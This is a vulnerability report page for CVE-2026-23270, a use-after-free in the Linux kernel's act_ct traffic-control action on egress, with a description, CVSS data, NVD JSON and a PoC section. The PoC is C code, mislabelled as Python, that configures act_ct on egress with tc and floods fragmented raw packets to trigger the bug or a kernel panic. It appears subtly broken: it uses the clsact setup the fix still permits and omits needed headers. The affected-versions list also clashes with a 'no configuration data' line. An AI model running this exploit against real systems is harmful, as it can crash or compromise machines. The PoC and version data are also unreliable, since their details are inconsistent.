Security Vulnerability Report
中文
CVE-2026-23270 CVSS 7.8 HIGH

CVE-2026-23270

Published: 2026-03-18 18:16:26
Last Modified: 2026-04-18 09:16:16
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: Only allow act_ct to bind to clsact/ingress qdiscs and shared blocks As Paolo said earlier [1]: "Since the blamed commit below, classify can return TC_ACT_CONSUMED while the current skb being held by the defragmentation engine. As reported by GangMin Kim, if such packet is that may cause a UaF when the defrag engine later on tries to tuch again such packet." act_ct was never meant to be used in the egress path, however some users are attaching it to egress today [2]. Attempting to reach a middle ground, we noticed that, while most qdiscs are not handling TC_ACT_CONSUMED, clsact/ingress qdiscs are. With that in mind, we address the issue by only allowing act_ct to bind to clsact/ingress qdiscs and shared blocks. That way it's still possible to attach act_ct to egress (albeit only with clsact). [1] https://lore.kernel.org/netdev/674b8cbfc385c6f37fb29a1de08d8fe5c2b0fbee.1771321118.git.pabeni@redhat.com/ [2] https://lore.kernel.org/netdev/[email protected]/

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel < 5.15.x (specific commits: 11cb63b0d1a0, 380ad8b7c65e, 524ce8b4ea8f, 5a110ddcc99b)
Linux Kernel < 6.1.x
Linux Kernel < 6.2.x
Linux Kernel < 6.3.x
Linux Kernel < 6.4.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-23270: act_ct UaF via egress path attachment // This PoC demonstrates the vulnerability where act_ct attached to egress // can cause UaF when TC_ACT_CONSUMED is returned while skb is held by defrag engine #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tc_act/tc_ct.h> // Attach act_ct to egress qdisc (VULNERABLE CONFIGURATION) void setup_vulnerable_config(char *ifname) { char cmd[512]; // Step 1: Add clsact qdisc to interface snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", ifname); system(cmd); // Step 2: Attach act_ct to egress (VULNERABLE - should only be ingress) snprintf(cmd, sizeof(cmd), "tc filter add dev %s egress protocol ip prio 1 \ flower ip_proto 6 ct_state +trk \ action ct zone 1 pipe \ action gact drop", ifname); system(cmd); printf("[+] Vulnerable configuration applied: act_ct on egress\n"); } // Step 3: Send fragmented packets to trigger defrag + TC_ACT_CONSUMED void trigger_uaf(char *ifname) { int sock; struct sockaddr_in dest; char *packet; struct iphdr *ip; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return; } // Craft fragmented IP packets packet = malloc(1024); memset(packet, 0, 1024); ip = (struct iphdr *)packet; // Set IP header for fragmented packet ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->id = htons(0x1234); ip->frag_off = htons(IP_MF); // More fragments flag ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("192.168.1.100"); ip->daddr = inet_addr("192.168.1.1"); dest.sin_family = AF_INET; dest.sin_addr.s_addr = ip->daddr; // Send fragmented packets in loop to trigger race condition for (int i = 0; i < 1000; i++) { sendto(sock, packet, 64, 0, (struct sockaddr *)&dest, sizeof(dest)); usleep(100); } printf("[+] Sent fragmented packets to trigger UaF condition\n"); close(sock); free(packet); } int main(int argc, char **argv) { char ifname[32] = "eth0"; if (argc > 1) { strncpy(ifname, argv[1], sizeof(ifname) - 1); } printf("[*] CVE-2026-23270 PoC - act_ct UaF via egress\n"); printf("[*] Target interface: %s\n", ifname); setup_vulnerable_config(ifname); trigger_uaf(ifname); printf("[*] Check dmesg for UaF or kernel panic\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23270", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T18:16:26.053", "lastModified": "2026-04-18T09:16:15.620", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: Only allow act_ct to bind to clsact/ingress qdiscs and shared blocks\n\nAs Paolo said earlier [1]:\n\n\"Since the blamed commit below, classify can return TC_ACT_CONSUMED while\nthe current skb being held by the defragmentation engine. As reported by\nGangMin Kim, if such packet is that may cause a UaF when the defrag engine\nlater on tries to tuch again such packet.\"\n\nact_ct was never meant to be used in the egress path, however some users\nare attaching it to egress today [2]. Attempting to reach a middle\nground, we noticed that, while most qdiscs are not handling\nTC_ACT_CONSUMED, clsact/ingress qdiscs are. With that in mind, we\naddress the issue by only allowing act_ct to bind to clsact/ingress\nqdiscs and shared blocks. That way it's still possible to attach act_ct to\negress (albeit only with clsact).\n\n[1] https://lore.kernel.org/netdev/674b8cbfc385c6f37fb29a1de08d8fe5c2b0fbee.1771321118.git.pabeni@redhat.com/\n[2] https://lore.kernel.org/netdev/[email protected]/"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet/sched: Solo permitir que act_ct se vincule a qdiscs clsact/de entrada y bloques compartidos\n\nComo Paolo dijo anteriormente [1]:\n\n'Desde el commit culpado a continuación, classify puede devolver TC_ACT_CONSUMED mientras el skb actual está siendo retenido por el motor de desfragmentación. Según lo informado por GangMin Kim, si dicho paquete es uno que puede causar un UaF cuando el motor de desfragmentación más tarde intente tocar de nuevo dicho paquete.'\n\nact_ct nunca estuvo destinado a ser usado en la ruta de salida, sin embargo, algunos usuarios lo están adjuntando a la salida hoy [2]. Intentando llegar a un punto intermedio, notamos que, mientras que la mayoría de los qdiscs no están manejando TC_ACT_CONSUMED, los qdiscs clsact/de entrada sí lo están. Con eso en mente, abordamos el problema permitiendo solo que act_ct se vincule a qdiscs clsact/de entrada y bloques compartidos. De esa manera, todavía es posible adjuntar act_ct a la salida (aunque solo con clsact).\n\n[1] https://lore.kernel.org/netdev/674b8cbfc385c6f37fb29a1de08d8fe5c2b0fbee.1771321118.git.pabeni@redhat.com/\n[2] https://lore.kernel.org/netdev/[email protected]/"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/11cb63b0d1a0685e0831ae3c77223e002ef18189", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/380ad8b7c65ea7aa10ef2258297079ed5ac1f5b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/524ce8b4ea8f64900b6c52b6a28df74f6bc0801e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5a110ddcc99bda77a28598b3555fe009eaab3828", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9deda0fcda5c1f388c5e279541850b71a2ccfcf4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/bc4e5bb529823a09f02dbe96169de679a9db26e0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/fb3c380a54e33d1fd272cc342faa906d787d7ef1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}